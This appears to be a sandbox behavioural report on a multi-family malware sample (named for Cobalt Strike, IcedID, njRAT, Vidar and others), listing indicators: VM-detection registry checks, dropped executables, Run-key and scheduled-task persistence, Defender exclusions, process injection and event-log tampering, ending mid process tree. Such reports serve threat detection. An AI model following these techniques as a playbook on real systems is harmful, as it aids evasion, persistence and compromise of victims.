8224351cfd340a0f14fa231dfcf2b16ae179747c72ea11303f5de1fcfe5a8114

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	2552	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2288	powershell.exe
1656	powershell.exe
4732	powershell.exe
3948	powershell.exe
2100	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 5 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
4940	icacls.exe
580	icacls.exe
3968	takeown.exe

Executes dropped EXE 9 IoCs

pid	Process
3100	Win-v42.exe
2508	Win-v43.exe
3360	svchost.exe
1076	Win-v41.exe
2768	svchost.exe
2116	tAAqpMId.exe
2552	cmd.exe
5028	svchost.exe
1700	Win-v41.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
3968	takeown.exe
4940	icacls.exe
580	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api64.ipify.org
7	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1208	powercfg.exe
1728	powercfg.exe
1992	powercfg.exe
1480	powercfg.exe
4320	powercfg.exe
4012	powercfg.exe
952	powercfg.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\System32\Win-v42.exe	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2660 set thread context of 3360	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	127
PID 2660 set thread context of 2768	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	134
PID 2660 set thread context of 2552	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	136
PID 2660 set thread context of 5028	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	137

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\Win-v41.exe	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
3208	cmd.exe
4788	PING.EXE

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
3728	cmd.exe
3740	cmd.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 22 May 2026 18:46:42 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={4472AC21-507A-4FB9-B5C2-ADB76B09A184}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4788	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3768	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4732	powershell.exe
4732	powershell.exe
2288	powershell.exe
2288	powershell.exe
1656	powershell.exe
1656	powershell.exe
3100	Win-v42.exe
3100	Win-v42.exe
2508	Win-v43.exe
2508	Win-v43.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3948	powershell.exe
3948	powershell.exe
3948	powershell.exe
636	winlogon.exe
636	winlogon.exe
1076	Win-v41.exe
1076	Win-v41.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
636	winlogon.exe
2116	tAAqpMId.exe
2116	tAAqpMId.exe
2116	tAAqpMId.exe
2116	tAAqpMId.exe
2116	tAAqpMId.exe
2116	tAAqpMId.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2100	powershell.exe
2100	powershell.exe
2100	powershell.exe
636	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3192	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4732	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeTakeOwnershipPrivilege	3968	takeown.exe
Token: SeShutdownPrivilege	952	powercfg.exe
Token: SeCreatePagefilePrivilege	952	powercfg.exe
Token: SeShutdownPrivilege	1208	powercfg.exe
Token: SeCreatePagefilePrivilege	1208	powercfg.exe
Token: SeShutdownPrivilege	1728	powercfg.exe
Token: SeCreatePagefilePrivilege	1728	powercfg.exe
Token: SeShutdownPrivilege	1992	powercfg.exe
Token: SeCreatePagefilePrivilege	1992	powercfg.exe
Token: SeShutdownPrivilege	1480	powercfg.exe
Token: SeCreatePagefilePrivilege	1480	powercfg.exe
Token: SeShutdownPrivilege	4320	powercfg.exe
Token: SeCreatePagefilePrivilege	4320	powercfg.exe
Token: SeShutdownPrivilege	4012	powercfg.exe
Token: SeCreatePagefilePrivilege	4012	powercfg.exe
Token: SeShutdownPrivilege	4012	powercfg.exe
Token: SeCreatePagefilePrivilege	4012	powercfg.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	636	winlogon.exe
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeDebugPrivilege	2768	svchost.exe
Token: SeDebugPrivilege	2116	tAAqpMId.exe
Token: SeLockMemoryPrivilege	2552	cmd.exe
Token: SeLockMemoryPrivilege	2552	cmd.exe
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	636	winlogon.exe
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	672	dwm.exe
Token: SeCreatePagefilePrivilege	672	dwm.exe
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE
Token: SeShutdownPrivilege	3192	Explorer.EXE
Token: SeCreatePagefilePrivilege	3192	Explorer.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2552	cmd.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3760	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2660 wrote to memory of 4732	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	81
PID 2660 wrote to memory of 2288	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	83
PID 2660 wrote to memory of 1656	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	85
PID 2660 wrote to memory of 3768	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	87
PID 2660 wrote to memory of 4220	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	89
PID 4220 wrote to memory of 2784	4220	cmd.exe	91
PID 2660 wrote to memory of 4996	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	94
PID 4996 wrote to memory of 3968	4996	cmd.exe	98
PID 2660 wrote to memory of 4776	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	100
PID 4776 wrote to memory of 4940	4776	cmd.exe	106
PID 2660 wrote to memory of 3092	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	107
PID 3092 wrote to memory of 580	3092	cmd.exe	109
PID 2660 wrote to memory of 952	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	110
PID 2660 wrote to memory of 1208	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	112
PID 2660 wrote to memory of 1728	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	114
PID 2660 wrote to memory of 1992	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	116
PID 2660 wrote to memory of 1480	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	118
PID 2660 wrote to memory of 4320	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	120
PID 2660 wrote to memory of 4012	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	122
PID 2660 wrote to memory of 3208	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	124
PID 3208 wrote to memory of 4788	3208	cmd.exe	126
PID 2660 wrote to memory of 3360	2660	2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	127
PID 3728 wrote to memory of 3948	3728	cmd.exe	129
PID 3948 wrote to memory of 636	3948	powershell.exe	5
PID 636 wrote to memory of 696	636	winlogon.exe	7
PID 636 wrote to memory of 904	636	winlogon.exe	11
PID 636 wrote to memory of 392	636	winlogon.exe	13
PID 636 wrote to memory of 440	636	winlogon.exe	14
PID 636 wrote to memory of 672	636	winlogon.exe	15
PID 636 wrote to memory of 416	636	winlogon.exe	16
PID 636 wrote to memory of 1076	636	winlogon.exe	131
PID 636 wrote to memory of 1088	636	winlogon.exe	17
PID 636 wrote to memory of 1132	636	winlogon.exe	18
PID 636 wrote to memory of 1156	636	winlogon.exe	19
PID 636 wrote to memory of 1212	636	winlogon.exe	21
PID 636 wrote to memory of 1252	636	winlogon.exe	22
PID 636 wrote to memory of 1268	636	winlogon.exe	23
PID 636 wrote to memory of 1356	636	winlogon.exe	24
PID 636 wrote to memory of 1472	636	winlogon.exe	25
PID 636 wrote to memory of 1496	636	winlogon.exe	26
PID 636 wrote to memory of 1608	636	winlogon.exe	27
PID 636 wrote to memory of 1660	636	winlogon.exe	28
PID 636 wrote to memory of 1684	636	winlogon.exe	29
PID 636 wrote to memory of 1820	636	winlogon.exe	30
PID 636 wrote to memory of 1864	636	winlogon.exe	31
PID 636 wrote to memory of 1900	636	winlogon.exe	32
PID 636 wrote to memory of 1944	636	winlogon.exe	33
PID 636 wrote to memory of 2012	636	winlogon.exe	34
PID 636 wrote to memory of 2060	636	winlogon.exe	35
PID 636 wrote to memory of 2072	636	winlogon.exe	36
PID 636 wrote to memory of 2124	636	winlogon.exe	37
PID 636 wrote to memory of 2236	636	winlogon.exe	38
PID 636 wrote to memory of 2272	636	winlogon.exe	39
PID 636 wrote to memory of 2408	636	winlogon.exe	41
PID 636 wrote to memory of 2532	636	winlogon.exe	42
PID 636 wrote to memory of 2540	636	winlogon.exe	43
PID 636 wrote to memory of 2560	636	winlogon.exe	44
PID 636 wrote to memory of 2580	636	winlogon.exe	45
PID 636 wrote to memory of 2644	636	winlogon.exe	46
PID 636 wrote to memory of 2664	636	winlogon.exe	47
PID 636 wrote to memory of 2696	636	winlogon.exe	48
PID 636 wrote to memory of 2880	636	winlogon.exe	49
PID 636 wrote to memory of 2452	636	winlogon.exe	51
PID 636 wrote to memory of 2800	636	winlogon.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:636
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:672
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1076
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
